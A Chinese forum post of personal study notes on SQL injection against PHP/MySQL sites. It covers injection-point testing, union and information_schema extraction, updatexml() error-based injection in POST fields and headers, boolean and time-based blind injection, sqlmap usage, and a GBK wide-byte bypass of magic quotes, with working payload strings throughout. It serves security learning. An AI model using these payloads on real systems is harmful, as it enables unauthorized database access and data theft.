SQL注入笔记

锦衣   ·   发表于 2020-06-07 22:26:53   ·   闲聊灌水区

SQL注入的原理:用户输入的数据当做代码执行

  1. 用户能够控制传参
  2. 原本程序要执行的代码,拼接了用户输入的数据然后进行执行

判断注入点:

最古老的方法: and 1=1 页面正常 
 and 1=2 页面不正常


最简单的方法: 页面后面加',看是否报错


老师的方法: 
 如果是数字型传参,可以尝试-1 ----//+在URL栏代表空格,用的话需要编码
 例如:
 http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
 http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻

 and 1=1 and 1=2 被拦截的可能性太高了
 可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1 

 或者直接 or sleep(5)
li

Mysql显错注入-联合查询(order by 字段数必须相等)

  • 在传参后面输入union select 1,2,3找出输出点(用%2b、—+注释掉后面的代码)
  • 在Mysql数据库5.0以上版本加入了系统自带库information_schema,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类 型与访问权限等
    ```
    information_schema.tables—存放表名和库名的对应
    information_schema.columns—存放字段和表名的对应

查询库名:
union select 1,2database() limit 0,1 —+(limit选哪个库)

查询表名:
union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 —+

查询字段名:
union select 1,2,column_name from information_schema.columns where table_schema=表 —+

group_concat()函数将查到的数据一起输出


![](https://nc0.cdn.zkaq.cn/md/3351/c70be4118d0ccb3b478385c491071827_44842.png)


**注入全方位利用-POST注入HEAD注入**

**POST注入高危点:**
- 登录框
- 查询框
- 等各种和数据库有交互的框
和GET传参注入没有差别,只是换了一个地方传参而已
用Sqlmap跑POST注入:`python sqlmap.py "地址" --form`
推荐抓包跑POST注入(将请求包复制放到sqlmap目录下1.txt在测试点打*)`:python sqlmap.py -r 1.txt`

## 报错注入 - Head注入

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是:

$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

$_SERVER功能强大。
常用的:
$_SERVER[‘HTTP_REFERER’] 获取Referer请求头数据
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。

**updatexml() 更新xml文档的函数**
- updatexml () 这个函数一般是配合and 或者是or 使用的,他和联合查询不同,不需要在意什么字段数

- eg:
- select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)


- 但是要注意,and 情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or


- 某些没有回显盲注也可以用这个updatexml()做出来。


- 但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。


- [个人经验:有些盲注也可以试试看报错注入,因为有的时候报错注入的致命错误会显示出来,数据库只忽略普通报错]

语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)


 如果数据库能接受某Head头,在其后面加入 `or updatexml(1,concat(0x7e,(select database())),1)`

**X-Forwarded-For**
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。[透明代理]
如果服务器会获取ip优先通过X-Foewarded-for传参,就可以对其进行测试sql注入,还是用updataxml()函数进行报错

## 盲注注入
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

- 布尔盲注:
- 布尔很明显ture和false,就是它只会根据你的注入信息返回Ture和False,没有了之前的报错信息
- 时间盲注:
- 界面返回值只有之中,Ture 无论输入任何值都会按正常的来处理。加入特定的时间函数,查看Web页面返回的时间差来判断注入的语句是否正确

布尔
length() 返回字符串的长度
substr() 截取字符串 (语法:substr(str,pos,len);)
ascii() 返回字符的ascii码, [将字符变为数字]

时间
sleep() 将程序挂起一段时间
if(expr1,expr2,expr3) 判断语句 如果第一个判断语句正确就执行第二个语句,错误执行第三个语句
```

猜数据库名:

  • id=1 ‘ and (length(database()))>9 —+ -//利用返回页面是否正常来判断库名长度

  • 利用ASCII码猜数据库名:

  • and (ascii(substr(database(),1,1)))=115 —+ -//返回正常,说明数据库名称第一位是s
  • and (ascii(substr(database(),2,1)))=101—+ -//返回正常,说明数据库名称第二位是e

猜表名:

  • and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101—+ -//返回正常,说明数据库表名的第一个的第一位是e

    猜字段名:

  • and (ascii(substr((select column_name from information_schema.columns where table_name=’A表’ limit 0,1),1,1)))=102—+ 返回正常,说明A表中的列名称第一位是f

猜数据内容:

  • and (ascii(substr(( select 字段 from A表 limit 0,1),1,1)))=122—+返回正常,说明字段里第一位数据是z

宽字节注入 数据库使用非英文编码

PHP的防御函数:magic_quotes_gpc(魔术引号开关)

  • magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,当传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤。如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

  • GBK编码:双字节

  • UTF-8编码:三个字节
  • 英文编码:一个字节

例如说MySql的编码设置为了SET NAMES ‘gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

  • \=>%5c(URL编码) \的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c
  • 通过特殊传参将魔术引号\转换成汉字(直接输入汉字也可以,因为汉字是两个字节加上单数字节就变成双数字节转换成汉字进行绕过)
  • 如果是POST传参需要用burp改hex进行传参

打赏我,让我更有动力~

0 条回复   |  直到 2020-6-7 | 1709 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.